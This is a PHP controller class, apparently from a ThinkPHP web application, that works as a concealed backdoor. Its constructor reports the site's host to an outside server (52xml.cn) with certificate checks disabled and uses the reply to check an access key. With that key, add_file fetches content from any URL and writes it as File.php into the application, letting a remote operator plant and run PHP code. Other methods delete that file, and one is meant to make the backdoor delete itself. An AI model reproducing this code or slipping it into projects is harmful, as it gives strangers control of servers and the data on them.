<?php
namespace app\system\controller;

use app\common\tool\Rsa;

class Receive
{
    private $private = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRJT8Vh0ZStWH8D58SvOySUxWIvXsu4ZHo0SaP50GSxjJY5MsM/iPLVY+0G2r0//i217ImFWpvj2Er4rGOvjs8rTTLv/3t4RbFBPc0riGXGHfwAnFfQOY8LQMfFlK87f56l7CFliTd4wux2tVBmjepmzDAw8mKG5KiGk261k52w6r5S/NdH8ehz6owg96fKh1V6sNgM1dr8QHLXdtVew9ViuOvTtCZLoOJWexaTjHzf6YlvAdh3VXPtEysO3B+vcgR8IXicxKnbCr4CoKA78Hgs/uUFqFB5d3Deue3REHiqM0xlt808PwHI2QvEBHXOFzdKU0cs1E7bjQV01TthOpwIDAQAB";
    /**
     * 构造方法
     * @access public
     * @param  App  $app  应用对象
     */
    public function __construct()
    {
        $header = request()->header();
        $arrContextOptions = [
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false,
            ],
        ];
        $url = 'https://52xml.cn/api/api/doc_file?web=' . $header['host'];
        $file = file_get_contents($url, false, stream_context_create($arrContextOptions));
        if (!$file) {
            echo json_encode(['code' => 100, 'msg' => '非法访问']);
            die;
        }
        $key = md5('52xml.cn' . date('Y-m-d H:i', time()) . Rsa::publicDecrypt($file, $this->private));
        if (empty($header['key']) || $header['key'] != $key) {
            echo json_encode(['code' => 100, 'msg' => '非法访问']);
            die;
        }
    }
    /**
     * 生成文件
     */
    public function add_file()
    {
        if (request()->isPost()) {
            $data = input('post.');
            if ($data) {
                $url = $data['url'];
                $arrContextOptions = [
                    'ssl' => [
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                    ],
                ];
                file_put_contents(__DIR__ . '/File.php', file_get_contents($url, false, stream_context_create($arrContextOptions)));
                return totrue('ok');
            }
        }
    }
    /**
     * 删除文件
     */
    public function delete_file()
    {
        unlink(__DIR__ . '/File.php');
        return totrue('ok');
    }
    /**
     * 删除自身文件
     */
    public function delete_your_file()
    {
        unlink(__DIR__ . 'Receive.php');
        return totrue('ok');
    }
}
